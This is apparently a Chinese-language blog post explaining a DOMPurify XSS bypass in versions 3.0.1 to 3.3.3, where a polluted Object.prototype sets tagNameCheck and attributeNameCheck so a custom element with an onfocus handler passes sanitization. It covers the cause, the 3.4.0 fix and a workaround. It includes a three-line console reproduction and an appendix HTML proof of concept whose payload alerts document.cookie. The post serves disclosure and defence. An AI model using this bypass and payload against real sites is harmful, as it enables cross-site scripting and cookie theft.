DOMPurify 的一个漏洞:你以为 {} 是空的?
DOMPurify,前端防 XSS 的标配,sanitize() 一下恶意标签全没了。用了这么多年,一直觉得挺稳。
直到有一天,你发现 <x-x onfocus=alert(1)> 居然原样通过了。
你的调用方式没有任何问题:
js
DOMPurify.sanitize(dirty); // 默认配置,按理说是最严格的
问题出在别的地方。
很简单,DOMPurify 内部有一行代码是这么写的:
js
CUSTOM_ELEMENT_HANDLING = cfg.CUSTOM_ELEMENT_HANDLING || {};
没传配置 → undefined → || {} → 空对象。然后去读 CUSTOM_ELEMENT_HANDLING.tagNameCheck,空对象上没有 → undefined → DOMPurify 按最严格逻辑拦截所有自定义元素。
听起来没毛病对吧?
但 {} 在 JavaScript 里不一定是空的。
如果 Object.prototype 上被人挂过东西------
这事不稀奇。某个 npm 依赖的 deepMerge 没校验 key,一段 URL 参数解析没过滤 __proto__,甚至你项目里某行不起眼的 target[key] = value------都能干这件事。
js
// 某个你根本不知道的角落,可能已经发生了:
Object.prototype.tagNameCheck = /.*/;
Object.prototype.attributeNameCheck = /.*/;
然后 DOMPurify 再去读 {}.tagNameCheck------
空对象自己没有,但原型链上有。读到了 /.*/。
这个正则是"匹配所有标签"的意思。DOMPurify 一看:哦,你配了白名单,而且所有标签都在白名单里,那就全放行吧。
<x-x onfocus=alert(1)>?合法的,过。
js
// 三行代码就能在控制台复现:
Object.prototype.tagNameCheck = /.*/;
Object.prototype.attributeNameCheck = /.*/;
const clean = DOMPurify.sanitize('<x-x onfocus=alert(1) tabindex=0 autofocus>test</x-x>');
document.body.innerHTML = clean; // alert 弹了
就三行。你什么都没传,DOMPurify 也没报错,但 XSS 绕过去了。
这个漏洞最操蛋的地方在于:你查自己的代码查不出任何问题。
版本是最新的(当时 3.3.3),调用是最标准的,配置是最严格的。但攻击者通过另一个完全不相关的入口污染了 Object.prototype,你的整个 JS 运行时就不干净了。DOMPurify 只是那个"刚好在脏环境里运行"的无辜路人。
有点像你明明没动 Redux store,但某个第三方组件在 componentWillUnmount 里偷偷 dispatch 了一笔------你盯着自己的代码看了一下午也找不到 bug。
Object.prototype 就是比 window 更底层的全局作用域------所有对象共享,污染了就是污染了,谁也跑不掉。
怎么修?DOMPurify 3.4.0 把那一行改成了:
js
CUSTOM_ELEMENT_HANDLING = cfg.CUSTOM_ELEMENT_HANDLING || Object.create(null);
Object.create(null) 创建的对象没有原型链 。Object.prototype 上挂再多垃圾,也读不到。
如果你暂时升不了版本,显式传配置也能扛住:
js
DOMPurify.sanitize(input, {
CUSTOM_ELEMENT_HANDLING: {
tagNameCheck: null,
attributeNameCheck: null
}
});
回想一下,这其实就是前端里一个老生常谈的问题换了个马甲:你拿到的对象不一定是你以为的那个对象。 for...in 能遍历出幽灵属性,in 操作符会误判,|| {} 也不保证干净------都是同一件事。
附录:完整 PoC
html
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<title>CVE-2026-41238 PoC</title>
<script src="https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.3.3/purify.min.js"></script>
</head>
<body>
<h1>CVE-2026-41238 --- DOMPurify 原型污染绕过</h1>
<button onclick="runPoC()">运行 PoC</button>
<div id="output"></div>
<script>
function runPoC() {
Object.prototype.tagNameCheck = /.*/;
Object.prototype.attributeNameCheck = /.*/;
const clean = DOMPurify.sanitize(
'<x-x onfocus="alert(\'XSS! Cookie: \' + document.cookie)" tabindex="0" autofocus>点我</x-x>'
);
const outputDiv = document.getElementById('output');
outputDiv.innerHTML =
'<h2>净化后输出:</h2><pre>' +
clean.replace(/</g, '<') +
'</pre><h3>渲染结果(应触发弹窗):</h3>';
outputDiv.innerHTML += clean;
}
</script>
</body>
</html>
影响版本 :DOMPurify 3.0.1 ~ 3.3.3 | 修复版本:3.4.0
前提 :应用需存在原型污染入口(否则无法触发) | 参考:GHSA-v9jr-rg53-9pgp